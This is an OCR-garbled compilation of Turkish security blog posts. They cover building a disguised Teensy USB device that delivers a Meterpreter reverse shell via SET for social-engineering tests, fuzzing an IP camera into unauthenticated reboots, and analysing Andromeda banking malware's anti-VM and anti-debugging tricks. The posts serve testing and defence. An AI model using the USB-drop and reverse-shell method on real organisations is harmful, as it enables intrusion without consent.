Breakpaint
Hit trace
Run trace

Go ko
Follows in Dump
View call tree Chrl+k

Search for
Find references ko
Wigw
Copy to executable
& &
Remove analysis from module

Eookmark
Sena Scan abject files Chrl+O

Appearance Remove object scan from module

Assurme arguments
Remove analysis from selection BkSpc
During next analysis, treat selection as

| Count [

o,
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Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Ufacik Tefecik ici Dolu Teensy’cik

Source: https://www.mertsarica.com/ufacik-tefecik-ici-dolu-teensycik/
By M.S on April 2nd, 2013

=3,

Sizma testi gergeklestiren ¢cogu bilisim gilivenligi uzmaninin hayalini siisleyen Teensy cihazin1 Kadir ALTAN'In yardimlari sayesinde
gectigimiz aylarda temin edebildim. Teensy (3. jenerasyon), ARM mikrodenetleyiciye ve 16 MB RAM'e sahip, 3.6 cm x 1.8 cm
boyutunda, USB HID (Human Interface Device) olarak kullanilabilen 19$ degerinde bir cihazdir. Hayalleri siislemesinin en biiyiik
sebeplerinden birkaci; programlanabilir klavye olarak kullanilabilmesi, Social Engineering Toolkit ve Kautilya gibi ¢esitli sizma testi
araglari ile rahatlikla programlanabilmesi ve dolayisiyla sosyal miihendislik testlerinde etkili bir sekilde kullanilabilmesidir.

Gegtigimiz ayin ortasina kadar Teensy'nin gelistirme platformunun (Arduino/Teensyduino) Tiirkce klavye destegine sahip
olmamasi, yukarida bahsetmis oldugum hazir kodlarin ve araglarin Tiirkge klavye kullanilan sistemlerde kullanilamamasina
neden oluyordu fakat Teensy'nin rafimda tozlanmasina daha fazla g6z yumamayarak Teensy'nin gelistiricisi olan Paul ile
iletisime gecerek 13 Mart tarihinde Teensy'nin kismi (Tiirkge karakter destegi heniiz yok) olarak Tiirkce klavye destekleyen
Teensyduino vi.13 siriimiiniin yaymlanmasina vesile oldum. :)

Ornegin Teensy ile bir kuruma sosyal miithendislik testi gerceklestirecek olan bilisim giivenligi uzmam ilk olarak Teensy'i kamufle etmek
zorundadir. Bu isi ya cicili bicili bir tagiabilir USB bellek (flash disk) i¢ine gizleyerek ya da fiziksel agidan kendisine daha ¢ok yer imkani
taniyan bir USB modem i¢ine gizleyerek halledecektir. Her ne kadar Teensy ebat olarak ufak olsa da Micro USB (Teensy v2 mini USB
girige sahiptir.) girise sahip oldugu i¢in kurbanin USB baglanti noktasindan Teensy'i sisteme baglayabilmesi i¢in ilave olarak USB disk
kasasi iginde bir Micro USB < -> USB ¢eviricisinin/kablolamasinin bulunmasi da gerekecektir. Durum bdyle olunca Teensy'yi kamufle
etmek icin en ideal kasa, uzmanimizin uzun siireden beri kullanmadigi eski model tombul Avea Jet Modem kasas1 olacaktir. Uzmanimiz
Micro USB'yi USB'ye ¢eviren kablolama islemini tamamladiktan sonra Teensy, yeni kasasiyla programlanmaya hazir olacaktir.
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https://www.mertsarica.com/ufacik-tefecik-ici-dolu-teensycik/
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http://www.pjrc.com/teensy/td_113/teensyduino.exe

Teensy'i programlamak i¢in Arduino ve Teensyduino'nun son siiriimiinii sistemine kuran uzmanimiz ardindan Kali Linux isletim sistemi
iizerinde yer alan SET (Social Engineering Toolkit) ile Teensy i¢in ihtiyacina uygun olan Teensy kodunu olusturacaktir.

SET komut satirinda, 1-6-7 menii adimlarini takip eden uzmanimiz Teensy i¢in Meterpreter (Windows Reverse TCP Meterpreter)
kodunu reports/binary2teensy.pde adi altinda olusturup bu kodu Windows'a kopyalayacak ardindan Arduino ile derleyip Teensy'e
aktarmadan once ufak bir diizeltme yapmasi gerekecektir. SET ile olusturulan Teensy kodu, varsayilan olarak hafiza kartindan (SD
Card) caligmak iizere olusturuldugu igin hafiza kart1 kullanilmayan bir Teensy'de bu kod ¢alismayacaktir bu nedenle uzmanimiz bu
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http://arduino.cc/en/Main/Software
http://www.pjrc.com/teensy/td_download.html
http://www.kali.org/

kodu (binary2teensy.pde) Arduino ile derlemeden 6nce PROGMEM degerlerini bosluk ile degistirecek (replace), strcpy P(buffer,
(char*)pgm read word(&(exploit[i]))); ve Keyboard.print(buffer); satirim silerek yerine Keyboard.print(exploit[i]); satirin1 koyarak
hafiza kart1 yerine SRAM'i kullanan kodu derleyebilecektir.

Derlenecek olan kod sistem {iizerinde alfaniimerik kabuk kod, alfaniimerik kodu ¢alistirmaya yarayan yardime1 arag, powershell, bat
ve vbs betiklerini kullanmaktadir. Betikler arasinda Powershell'den faydalaniliyor olmasi sayesinde daha dnce Komut Satirininin Giicii
baslikli yazimda da bahsettigim iizere modern Windows isletim sistemlerinde varsayilan olarak gelen Powershell ile gesitli islemlerin
daha etkili ve siiphe cekmeden gergeklestirilmesi saglanabilmektedir. Derlenen kod otomatik olarak Teensy'e yiiklendikten sonra kamufle
olmus USB modem kiligindaki Teensy'i merakli bir kurum ¢alisaninin almasini ve galistirmasini saglayacak ardindan kurbanin sistemine
Metasploit ile erisebilerek mutlu sona erisecektir.

Applications Places t Tue Apr 2, 4:22 PM

Terminal

File Edit View Search Terminal Help

~ [(Wind

l and find

mmunication ~ HTTP wusi

rname instead of an IP ad

Itak and runs i
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Applications Places r Tue Apr 2, 4:23 PM

Terminal

File Edit View Search Terminal Help
*] Generating a lis i

3Kom SuperHack II Logon



Applications Places r Tue Apr 2, 4:28 PM

Terminal

File Edit View Search Terminal Help

Connection

All rights r

Bugiin bir s1izma testi kapsaminda, sosyal miithendislik testi gergeklestiren bir bilisim giivenligi uzmani tarafindan kullanilan Teensy'nin
yarin art niyetli kisilerce size ve/veya kurumunuza kars1 kullanilmayacaginin hi¢ bir garantisi yoktur bu nedenle agik USB baglanti
noktalaria sahip olan kurumlar ve bilgi giivenligi farkindalig1 yiiksek olmayan kurum c¢aligsanlar1 Teensy gibi cihazlar sayesinde ¢ok
daha kolay bir sekilde istismar edilebilmektedir.

Bir sonraki yazida goériismek dilegiyle herkese giivenli giinler dilerim.

Yapilan ¢alismayi kisaca 6zetleyen videoyu buradan izleyebilirsiniz.

MacGyver Olsayd...

Source: https://www.mertsarica.com/macgyver-olsaydi/
By M.S on March 1st, 2013

=3,

80'lerde benim gibi ¢ocuk olanlarin kahramani ¢ogunlukla ya Michael Knight ya da MacGyver'dir. MacGyver, Kanada'da ¢ekilmis
aksiyon-macera tiliriinde bir Amerikan televizyon dizisiydi. Ajanimiz Macgyver, silah kullanmay1 sevmeyen, hemen hemen her boliimde
fizik bilgisini kullanarak ¢evresinde buldugu ara¢ gereclerden silah yaparak diismanlarinin elinden kolaylikla kurtulabilmekteydi. Hatta
bir boliimde MacGyver, etrafi gdzetleyen bir kameranin hemen altinda, kor noktada durup kameranin izledigi yolun fotografini ¢ekmis,
ardindan bu resmi kameranin 6niine koymus ve kameranin c¢ekilen bu fotografi goriintii olarak giivenlik gorevlilerine aktarmasini
saglayarak yakalanmadan kosar adimlarla oradan uzaklasabilmistir. Peki ya MacGyver giiniimiizde olsaydi ve gecmesi gereken bir
kapinin hemen arkasinda kapiy1 ¢eken ve kablosuz haberlesen bir IP kamera olsaydi ne yapardi ?

Gegtigimiz aylarda satin aldigim Arduino Uno R3 cihazimi gozetleme kamerasina ¢evirme girisimimin astar1 yliziinden pahaliya
(kablosuz ag kalkani, kamera vs.) gelecegini diislinerek IP kamera arayis1 icine girdim ve ¢ok gegcmeden Tiirkiye'de Uranium markasi
altinda satilan (Diinya'da WANSVIEW NCB-541W) SIP-10 modelini satin aldim. Cihazin kablosuz ag desteklemesi, gece goriisiiniin
olmasi, hareket algilama ve e-posta gonderme Ozelliginin olmasi, fiyat1 ve tabii ki uzaktan yonetilmeye imkan taniyan Android
uygulamasi ile birlikte gelmesi satin alma karar1 almamda etkili oldu.
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Her zamanki gibi aldigim bir cihazi hacklemeye ¢alismak, efendi efendi kullanmaktan ¢ok daha cazip geldigi i¢in gelenegi bozmayarak
kameray1 kurmadan 6nce kurulum CD'si ile birlikte gelen uygulamalara gbz atmaya ve MacGyver olsaydi ne yapardi? sorusuna yanit

aramaya karar verdim.

Agda bulunan kameray1 tespit etmek ve yeni ip adresi tanimlamak igin kullanilan BSearch_en.exe dosyasini Immunity Debugger araci
ile biraz inceledikten sonra kameray1 kurup ¢alistirdim ve ag seviyesinde uygulamanin nasil ¢alistigini kisaca inceledim.

IP kamera varsayilan olarak 192.168.0.178 ip adresi ile birlikte gelmekte ve BSearch uygulamasi tarafindan BROADCAST adrese
gonderilen UDP paketlerine (SEARCH ve UPDATE) yanit vererek kullanicinin kameray: tespit etmesine (SEARCH) ve ayarlar1

degistirmesine (UPDATE) imkan tanimaktadir.

|@ Frame 28 (69 bytes on wire, 69 bytes captured)

# Ethernet II, Src: Vmware_75:0d:93 (00:0c:29:75:0d:93), Dst: Broadcast (Ff:ff:ff:ff:ff:ff)
|® Internet Protocol, src: 192.168.1.40 (192.168.1.40), Dst: 255.255.255.255 (255.255.255.255)
# User Datagram Protocol, Src Port: 62010 (62010), Dst Port: ndmp (10000)

= Data (27 bytes)

SEARCH - GIDEN PAKET

f £ ff £f £f f 00 Oc
00 37 ad 20 00 00 80 11
ff ff £2 3a 27 10 00 23

29 75 0d 93 08 00 45 00
cb ¢5 c0 a8 01 28 ff ff

0000
0010
0020
0030
0040

Frame 27 (130 bytes on wire, 130 bytes captured)

Ethernet II, Src: 48:02:2a:4e:fe:37 (48:02:2a:4e:fe:37), Dst: Broadcast (Ff:ff:ff:ff:ff:Ff)
Internet Protocol, src: 192.168.1.74 (192.168.1.74), Dst: 255.255.255.255 (255.255.255.255)
User Datagram Protocol, Src Port: ndmp (10000), Dst Port: 62010 (62010)

pata (88 bytes)

AD4F5F490100

+
+
*
*

SEARCH - GELEN PAKET

Data:

[Length: 88]

£F f ff ff It 48 02
74 00 00 40 00 40 11

2a 4e fe 37 08 00 45 00
78 87 c0 a8 0l 4a ff ff
T ST 49 01 00

7 10 f2 3a 00 60

Local PC information

AMD PCNET Family PCI Eth w

18921681 40
2552552550
19216811

19216811

< >

Device infarmation

¥

¥ BSeries Intranet Search add SetTings(V12.0.2.29)

Device name:

P conig [[] 5et P mutomaticalty
P sddress(ly 192 . 168 . 1 ]
Subret mazkiLl: 255 255 .55 o
Gateway(G) 192 168 . 1 1
DNS1 (D) 192 . 168 . 1 1
Hittp port(E: 65000 S

Audheriication

Wiewing Account

Wiewing Password.

1. Make sure that your IP Cameva and computer
are connected to the same router .

2. Onlly Adminéstrator account can update the device

Tabii ayarlar1 degistirebilmek i¢cin (UPDATE) oncelikle kullanicinin ip kamerasinin yonetim kullanici adi ve sifresini dogru girmesi

gerekmektedir aksi halde tanimlarda herhangi bir degisiklik yapamamaktadir.

# Frame 82 (129 bytes on wire, 129 bytes captured)

# Ethernet II, Src: vmware_75:0d:93 (00:0c:29:75:0d:93), Dst: Broadcast (ff:ff:ff:ff:ff:fF)
# Internet Protocol, Src: 192.168.1.40 (192.168.1.40), Dst: 255.255.255.255 (255.255.255.255)
# User Datagram Protocol, Src Port: 62010 (62010), Dst Port: ndmp (10000)

pata (87 bytes)
SF4 O
[Length: 87]

UPDATE - GIDEN PAKET

ff ff ff £f ff ff 00 Oc 25 75 0d 93 08 00 45 00
00 73 af Oe 00 00 80 11 <9 9b cO a8 01 28 ff
ff ff f2 3a 27 10 00 5Ff 12 fa T 14

Data:

# Frame 83 (67 bytes on wire, 67 bytes captured)

# Ethernet II, Src: 48:02:2a:4e:fe:37 (48:02:2a:4e:fe:37), Dst: Broadcast (FF:ffiff:fFiFfiff)
# Internet Protocol, Src: 192.168.1.74 (192.168.1.74), Dst: 255.255.255.255 (255.255.255.255)
% User Datagram Protocol, Src Port: ndmp (10000), Dst Port: 62010 (62010)

= pata (25 bytes)

UPDATE - GELEN PAKET

ff ff ff ff ff If 48 02
00 35 00 00 40 00 40 11

2a 4e Te 37 OB 00 45 00
78 c6 c0 a8 01 4a ff ff
4

4 BSeries Infranet Search add SetTings(V12.0.2.29)

Local PC information
AMD PCNET Family PCI Eth
1821681 40
2552552550
19216811

19216811

Device fist
Mo DeviceMame  DeviD
1 002rnii TAASDDOEDOAA,
< >

Device informeation

¥

Device name:

1P config [ set P sutomatically
P address{ly 192 . 168 1 74
Subret maskiLl: 255 255 .55 o
Gateway(GI 192 168 . 1 1
DNST (D) 192 . 168 . 1 1
Hitp port(B 65000 3
Audherdication

\iewing Account: mertsarica
Wiewing Password LTI

1. Make sure that your I Camera and computer
are connected to the same router

2. Onlly Adminéstrator account can update the device

ff ff 27 10 f2 3a 00 21

Kameraya giden ve gelen veriyi dikkatlice inceledigim de MO _I parametresi dikkatimi ¢ekti. MO _I parametresinden sonra gelen bayt'in

SEARCH paketinde 00, UPDATE paketinde ise 02 oldugunu farkettim.

Cihaz iireticileri ¢ogunlukla hata ayiklamak (debug) ve/veya gelistirme amaciyla cihazlara arka kapi birakmay1 sevdiklerinden &tiirii
bu bayt iizerinde Fuzzing yapmaya karar verdim ve bunun i¢in Python ile sip-10_fuzzer.py adinda bir program hazirladim. Programi1
calistirdiktan sonra Fuzz edilen baytin 78 oldugu durumda, cihazin yeniden basladigini farkettim. Ardindan cihaza SEARCH paketi

gonderdigim de cihazin MAC adresinin degismis oldugunu farkettim.
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4 BSeries Intranet Search add SetTings(V12.0.2.29)

Local PC infarmation: Device information:
| AMD PCRET Family PCI Eth v | Device name:
[192168.1.40
2552552550
1921681 1 IZEn
IP addressil):
1921681 1
Subnet mask(L:
Gateway (1G]
Device list: DR (D
Mo Devicelame Diewvily Http port(eY: a0
1 aozrnhl 610000003132 -
Authentication:

“iewving Account:

“iewving Pazsword:

Tips:
1. Make sure that your IP Camers and computer
are connected to the same router.

2. Only Administrator account can update the device
< > information.

Close

Sonug olarak yaptigim kisa arastirma sonucunda SIP-10 IP kamerasinda kesfettigim bu giivenlik zafiyeti ile cihazi yetkisi olmayan
ve agda bulunan herhangi bir kisinin uzaktan yeniden baslatabildigini ve MAC adresini degistirebildigini tespit etmis oldum. Gelelim
MacGyver olsaydi ne yapardi sorusunun yanitina. Muhtemelen kahramanimiz kablosuz aga dahil olur ve gonderecegi tek bir paket ile
kameray1 gegici siireligine devre dist birakarak kameraya yakalanmadan yoluna emin adimlarla devam ederdi :)

MacGyver'in yerinde herhangi bir hirsizin olmamasi dilegiyle herkese giivenli giinler dilerim.

Pwndromeda

Source: https://www.mertsarica.com/pwndromeda/

48


https://www.mertsarica.com/pwndromeda/
https://www.mertsarica.com/pwndromeda/

By M.S on February 1st, 2013

=3,

Son yazimdan yani 1 Ocak 2013 tarihinden bu yana gecen zaman zarfinda Zemana'dan Emre TINAZTEPE'nin yaymlamis oldugu
analiz raporunda sahte e-postalar ile gonderilen bankacilik zararli yaziliminin Andromeda (Symantec'e gére Downloader.Dromedan)
zararl yazilimi oldugunu ve dropper (baska bir zararli yazilim indiren ve calistiran zararli yazilim) olarak ¢alisarak Cridex ve/veya
Zeus bankacilik zararli yazilimlarini indirdigini gormiis olduk. Bir dnceki yazimda da Andromeda zararli yazilimimin sanal makinede
calistirilmast durumunda farkli davraniglar sergiledigini ve sadece sistemsel analizler yapilarak hatali sonuglara varilabilecegini gérmiis
olduk.

1 Ocak tarihinden bu yana sahte Turkcell, Kuveyt Tiirk, Tiirk Telekom, Garanti Bankas1 e-postalar ile sayisiz defa tekrar ve tekrar
gonderilen Andromeda zararli yazilimi, her defasinda olmasa da her iki gonderimde bir, yeni bir komuta kontrol merkez adresi
ile gonderiliyordu. Durum boyle olunca da analiz i¢in yazilim seviyesine inemeyen ancak zararli yazilima karsi da kurumlarint ve
calisanlarini korumak i¢in komuta kontrol merkezi adreslerini tespit etmek ve giivenlik cihazlar izerinde kara listeye eklemek isteyen
cok sayida sistem/gilivenlik yoneticisi oldugunu farkettim ve kendilerine yardimci olabilmek adina ise koyuldum.

Normalde bu zararli yazilim sanal makinede ¢alistigini kontrol etmiyor ve farkli davraniglar sergilemiyor olsayd: bu zararli yazilimi
sanal makineye kopyalayip, calistirarak ve Wireshark gibi bir trafik izleme araci ile izleyerek haberlestigi komuta merkezlerini rahatlikla
tespit edebilirdiniz ancak aksi bir durum s6z konusu oldugu i¢in her defasinda bu zararh yazilimi, yazilim seviyesine inip analiz etmekten
veya zararli yazilim tarafindan tespit edilemeyen 6zel olarak konfigiire edilmis bir sanal makinede ¢alistirmaktan bagka bir gareniz
kalmiyordu. Ozel olarak konfigiire edilmis bir sanal makine, tespit edilmemek icin ana sistem ile arasmdaki kullanimi kolaylastiran
dosya paylagimi gibi 6zelliklerden arindirildigi i¢in sanal makineyi tam randimanli kullanmak pek miimkiin olmuyor. Bu durumda eliniz
kolunuz bagli beklemekten veya zorluklarla miicadele ederek ilerlemekten bagka gareniz kalmiyor. Peki ger¢ekten de 6yle mi ? Aslinda
analiz etmek istediginiz zararl yazilim Andromeda oldugu siirece az nce bahsettigim zorluklarla miicadele etmek zorunda degilsiniz.

Andromeda zararli yazilimini yazilim seviyesinde analiz ettigimde dikkatimi ¢eken lol adinda bir mutex nesne kontrolii oldu.

" e
M oMx bS] g lemtwhlc Pkbezr.

Mutex nesnesini kabaca ve kisaca, bir yazilimin, kopyasinin, sistemde ¢alismasim engellemek amaciyla kullanilan bir nesne
olarak diisiinebilirsiniz. Ornegin X yazilimi sistemde ¢calistiginda Hack4Career mutex nesnesi yaratabilir ve ardindan sistemde
ikinci defa ¢aligtirildiginda hali hazirda sistemde ¢alisip ¢calismadigini kontrol etmek i¢in Hack4Career mutex nesnesini kontrol
ederek bu sonuca gore sistemde tekrar ¢alisip ¢calismayacagina karar verebilir.

Bu kontrol sayesinde eger lol adindaki bu mutex nesnesi sistemde yaratilmis ise Andromeda zararli yazilimi, tim VM kontrollerini
atlayarak, pas gecerek sanal makine i¢inde caligmaktaydi. Kisacasi Andromeda zararli yazilimmin gelistiricisi muhtemelen sanal
makinede zararli yazilimi test edilebilmek igin zararli yazilimina bir nevi arka kapi koymustu. Bu sayede biz de bu arka kapidan
faydalanarak Andromeda zararli yaziliminin sanal makinede ¢aligsmasini saglayabilir ve rahatlikla trafigini analiz edebilirdik.

Bunun i¢in Python ile Andromeda Anti VM adinda isletim sisteminde lol adinda bir mutex nesnesi olusturan ufak bir program hazirladim.
Bu sayede Andromeda zararli yazilimini analiz etmek i¢in yapmaniz gereken tek sey Andromeda zararli yazilimi ile birlikte Andromeda

49


http://www.mertsarica.com/seytan-ayrintida-gizlidir/
https://twitter.com/infexia
http://dl7.zemana.com/dl7/Andromeda_Botnet_Analizi.pdf
http://www.symantec.com/connect/blogs/downloader-targets-down-under
http://www.mertsarica.com/seytan-ayrintida-gizlidir/
http://www.mertsarica.com/codes/andromeda_antivm.exe

Anti VM programini sanal makineye kopyalamak, dnce Andromeda Anti VM programini daha sonra ise Andromeda zararli yazilimini
calistirmak ve sanal makinenin iirettigi trafigi izleyerek kara listeye ekleyeceginiz adresleri rahatlikla tespit etmektedir.

Hatta benim gibi isi geregi komuta kontrol merkezlerini anlik olarak takip etmek isteyenler asagidaki resimde ve videoda yer aldig1 gibi
Andromeda Anti VM programini izleme mekanizmalarinin kilit bir pargasi olarak da kullanabilirler.

p T = >
BX C\Windows\system32\cma.exe - dns_monitoring.py dns.pcap l%ﬁj

Analizinizi kolaylagtiracak Andromeda Anti VM programini buradan indirebilirsiniz.
Bir sonraki yazida goriigmek dilegiyle herkese giivenli giinler dilerim.

Asagidaki video, 30 Ocak tarihinde gonderilen sahte Garanti Bankasi e-postasi ile gonderilen Andromeda zararli yazilimi iizerinde
yapilan ¢aligmay1 igermektedir. (Andromeda zararli yazilimlarinin temin edilmesinde gostermis oldugu yardimseverlik nedeniyle Kemal
Karakaya'ya tesekkiirii bir borg bilirim.)

Seytan Ayrintida Gizlidir

Source: https://www.mertsarica.com/seytan-ayrintida-gizlidir/
By M.S on December 31st, 2012

=3,

19 Aralik 2012 tarihinde bir¢ok banka miisterilerinden gelen ihbarlari1 degerlendirmek ile giine basladi. Ayni anda sosyal medyada ve
NetSec bilisim giivenligi e-posta listesinde Turkcell ve Vodafone'dan gonderildigi ve ekinde zararli yazilim bulundugu 6ne siiriilen e-
postalar yer almaya basladi.
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1 Message B Fatura_Bildirimi.pdf.zip (36 KB)

From: Turkeell Kurumsal Tahsilat [mailto:turkcellkurumsaltahsilat@haberdaret. turkcell.com.tr]
Sent: Wednesday, December 19, 2012 11:35 AM

To: Cagri Merkezi Insan Kaynaklari

Subject: Fatura Bildirimi

TURKCELL s e

Degerli Migterimiz,

Firmaniz Yalgin Kardegler Hah Tek.San.Ve Tic.Ltd e ait 25.11.2012 tarihinde basilan fatura bilgileriniz ekte dikkatinize
sunulmustur. Toplam fatura tutan 1.483,31 TL olup son ddeme tarihi 06.12.2012 dir.

Detaylar ekli dosya bulunmakiadir.

Odemelerinizi anlasmali oldugumuz banka subelerinden yapabilir, yeni fatura 6demeleriniz icin otomatik tdeme talimat
verebilirsiniz.

Bir sonraki ay hesap kesim tarihiniz 25.12.2012 olup son ddeme tarihiniz 07.01.2013 dir,

Saygilanmizia
Turkeell iletigim Hizmetler AS.

Bu mesaj bilgilendi amaciyla 3
Faturalanniz ile Hgili soru ve goruglenniz igin, 444 0 532 Turkeell Migter! Hizmetlerini arayabilirsiniz.

TURKCELL Faturanizi TURKCELL Odeme Kanallarini
Hemen Odemek Icin Tiklayimiz Garmek Igin Tiklayimz

24 Aralik 2012 tarihinde ise bu defa THY'den gonderildigi ve ekinde zararli yazilim bulundugu dne siiriilen e-postalar giindemi mesgul
etmeye bagladi.

Subject Turkish Airfines Ondine Ticket . Information Mestage

I message B Tunosn aiines tinerary pat zp

TURKISH AIRLINES e

>

A STAR ALLIANCE MEMBER v 7

Dear,

Thank you for booking onfine. Thank: you for choosing
Timkish Aifines

You can find your Rinerary in the amached file

'« Pay and Fly.. From now on you may use our web
site to pay vour Ticket By Office bookings

For online check-in Click here to see vour reservation
please click here information
T bk wons hasl For rent a car please click here
Miles&Smiles members can rent a car
please dlick here s
online

E-postalarin baslik bilgileri incelendiginde e-postalarin Turkcell ve THY'den gonderiliyormus gibi gosterilmeye ¢alisildigi anlagiliyordu.
Fakat dikkatlice bakildiginda son adimda e-postanin Tayvan'da ki bir sunucudan alinmig oldugu bu nedenle baslik bilgilerinin manipiile
edildigi acikga anlasiliyordu.
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rReceived: from mail.gff.com.tw (60.250.9.34) by
— i Th Microsoft sMTP Server id 14.71.355.2 Mon, 24 Dec 2012
217527047 +0200

rReceived: from ISTEXCEDGEL.thynet.thy.com ([212.175.83.159]) by
ip226.226.onofis. com (Icewarp 9.3.1) with ESMTP (55L) id 6QRO5678 for
Tue, 25 Dec 2012 03:52:03 +0800
RECETVEATTrom JavabatchpI™ (192, 168.254.165) by ISTEXCEDGEL.thynet.thy.com
(10.11.91.138) with Microsoft sMTP Server id 14.1.218.12; Tue, 25 Dec 2012
03:52:03 +0800

Message-ID: <16728329.8371489790626.JavaMail. otbatch@javabatchp3>

From: Turkish Airlines <please_do_not_reply@thy. com=

To:
subject: Turkish AirTines online Ticket - Information Message

Date: Tue, 25 Dec 2012 03:52:03 +0B00

MIME-Version: 1.0

Content-Type: multipart/mixed; boundary="----=a__cazmn_87_11_29"

Return-Path: artistes@thy.com

¥-M5-Exchange-0Organization-AuthSource: I
¥-M5-Exchange-0organization-AuthAs: AnonyMows

X-M5-Exchange-organization-scL: 0

¥-M5-Exchange-0Organization-PCL: 2

X-M5-Exchange-organization-Antispam-Report: DV:3.3.5705.600;0rigIP:60.250.9.34

Ardindan baz1 web sitelerinde ve NetSec bilisim giivenligi e-posta listesinde zararli yazilim {izerinde yapilan kisa analizlere yer verildi
ve bu analizlerde zararli yazilimin trojan olmadigi, ¢alistirildiktan sonra 8000 numarali baglant1 noktasinda (port) dinlemeye gegtigi ve
bu baglant1 noktasindan sisteme baglanan kisilere komut satir1 erigimi (shell) verildigi belirtiliyordu.

IC:\Documents and Settings“Administrator’netstat —an —p tcp | findstr "B660"
TCP B.08.0.8:8808 B8.8.8.8:8 LISTENING

IC:\Documents and Settings“Administrator>

Telnet 127.0.0.1

Microsoft Windows HP [Uersion 5.1.2608081
{C> Copyright 1985-2801 Microsoft Corp.

IC:=~Documents and Settings“Administrator:DesktopsDesktop>_

Emek ve zaman harcandigi agikca belli olan profesyonelce hazirlanmig iki farkli sahte e-posta ve sadece ¢aligtirildig sistemde 8000
numarali baglanti noktasinda komut satir1 erisimi veren zararli bir yazilim ? Muhtemelen okurken size de inandirici gelmeyen bu senaryo
bana da hig inandiric1 gelmedigi i¢in sahte THY e-postasinda yer alan zararl yazilima kisaca goz atmaya karar verdim. Ozellikle yazilim
seviyesine inilmeden sistem seviyesinde yapilan analizler, zararli yazilimin sanal makine, debugger, sandbox tespitine yonelik kontroller
icermesi durumunda farkli sonuglar ortaya ¢ikarabilmektedir bu nedenle yazilim seviyesine inilmeden yapilan bir analiz sonucuna gore
bir karara varmak ¢ok dogru degildir. Yazilim seviyesine inilse dahi kimi zaman yanilma pay1 olabilmektedir.

Immunity Debugger araci ile zararli yazilimi analiz etmeye basladigimda ilk dikkatimi ¢eken Immunity Debugger tarafindan karsima
¢ikan giipheli uyar: mesajlart oldu.

erer x|

! E Bad or unknown Format of 32-bit executable file 'C:\Documents and Settings| Administrator|Desktop|Fatura Bildirmi 496021, pdfy Turkish-Alrlines-Itiner ary. pdf Turkish-Alrlines-Itiner ary. pdf  exe’

Compressed code? x|

'?/ Quick statistical test of module ‘Turkish-' reports that its code section is either compressed, encrypted, or contains large amount of embedded data, Results of code analysis can be very unreliable or simply wrang. Do you want to
| continue analysis?

Ardindan bir Anti Debugging teknigi olan ve zararli yazilimlarda sik¢a karsilagilan SetUnhandledExceptionFilter dikkatimi cekti.
Normalde bir yazilim ¢alisma esnasinda ortaya cikabilecek potansiyel hatalari, istisnai durumlar: tespit eder ve ona gore aksiyon alir
ancak ongoriilemeyen hatalar icin bir yazilimer SetUnhandledExceptionFilter filtresi ile ongodriilemeyen hatalarin da tespit edilmesini
ve buna gore aksiyon almasini saglayabilir. Hata ayiklayici (debugger) ile ¢alistirilan bir yazilimda ise debugger yazilimin galismasi
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esnasinda ortaya ¢ikan hatalari, istisnai durumlar1 kendisi yonetmeye ¢aligir. Bunu bilen zararl yazilim gelistiricileri de bu filtreden
faydalanarak sayisal hatalara yol agacak bir kod pargasi ¢alistirir ve bu hatay1 bu filtrenin ayiklamasini ve yazilimin akigina devam
etmesini saglar. Ancak bunu bilmeyen bir hata ayiklayici boyle bir hata ile karsilastiginda yazilimin akisini devam ettiremez ve yazilim
¢cokmiis olur kisaca SetUnhandledExceptionFilter ile debuggerlar bu sekilde devre dis1 birakilmaya caligilir.

CPU - main thread, module Turkish-]
File Wiew Debug Pugins Immlib Options Window  Help  Jobs
1 i lemtwhocPkbzr

nhand led

File Wiew Debug Plugins Immlib Options ‘Window  Help  Jobs
[OFEE «wx» 1 il lemtwhocecPkbe

nhand Led|

Copy

Binary
Assemble

Labiel

Cormrment

Add Header
Madify Yariable
Breakpoint

Hit trace

Run trace

Goto
Fallow in Dump
View call tree ChrlHe

Search for

Find references ko
i

Copy to executable
Analysis

Bookmark

Appearance
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File ‘iew Debug Plugins Immlib Options ‘Window Help  Jobs
[CREE i+ 1l emtwhcPkbzr

erary.pdfi.exe - [CPU - main thread, module Turkish-]
File View Debug Plugins Immlib ©Options ‘Window Help  Jobs
#ilisJ+ lemtwhcPkbzr..
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File Miew Debug Plugins Immlib  Options

[S%

WORD

SEFFFFF @ i

Son adimlara yaklasirken zararli yazilimin isletim sistemi {izerinde c¢alisan potansiyel giivenlik yazilimlarini atlatmak icin runPE
(hafizadan islem (process) ¢alistirma) yontemini kullanmak i¢in hazirlik yaptig1 anlasgiliyordu.
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CPU - main thread, module Turkish-]
File ‘iew Debug Plugins Immlib Options ‘Window Help  Jobs
SRR LR TN lemtwhePkbzrx
U DWORD F E

Biraz daha ilerledikten sonra zararli yazilimin paketinden ¢ikarmig oldugu islemi (process) kontrol ettigini farkettim ve diske kayit edip,
HEX editor ile fazlalik kisimlar1 temizleyip Immunity Debugger ile galistirdim ve incelemeye basladim.
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File ‘iew Debug Plugins Immlib  Options

T ?5

Create backup
Load backup From file

Disassemble
Special

Appearance

P =

‘“Window Help  Jobs
lemtwhoecPkbzrx

. Eu: 40950 [1=0000A000]

=18 X
=18
ki Y
Tushishy_004
3 instances of "4D5A" found in Turkish-_ 00400000 mem a 0 X

Address %) | Lengh %) | Leeggh
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00400000.exe - [CPU - main thread, module Tur!
ImmLib  Options  Window  Help  Jobs

= e

ik dikkatimi ceken 004010C6 fonksiyonu ile islemlerin (processes) teker teker hashini alip ardindan én tanimli islemlerin hashleri
ile kiyasladigini farkettim. Belli ki yazilimi gelistirenler bazi yazilimlar kara listeye almislardi. Zararli yazilimi VMWare iginde
calistirdigim i¢in vmwareuser.exe yaziliminin kara listede oldugu hemen anlasiliyordu. Ancak biraz ¢atlak oldugum igin hangi
yazilimlarin kara listede yer aldigin1 6grenmek i¢in Python ile http://www.processlibrary.com/ adresinde kayithi olan tiim islemlerin
(processes) listesini olusturan ufak bir ara¢ hazirladim ve hash fonksiyonunu bire bir Python kodu ile olusturarak tiim islemleri bu
aragtan gegirerek kara listede yer alan tiim yazilimlari (netmon.exe, procmon.exe, sandboxiedcomlaunch.exe, sandboxierpcss.exe,
vboxservice.exe, vboxtray.exe, vmwareservice.exe, vmwareuser.exe, wireshark.exe) tespit ettim.
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B C\Windows\systern32\cmd.exe - pname_grabber.py

esslotd.exe
essndsys .exe
ezzolo.exe
esspk.exe
eszspk.exe
esupdate .exe
thttp://wuw.processlibrary.con/directorys/e 37
esyndicateinst.exe
eszignotray.exe
etdtray.exe
ethsc.exe
etapimon.exe
etapist.exe
etcall.exe
etcrtmng . exe
etdirrcv.exe
etdsvc.exe
eterm.exe

et .exe
etfmetrictransformer.exe
ethereal.exe

etlis

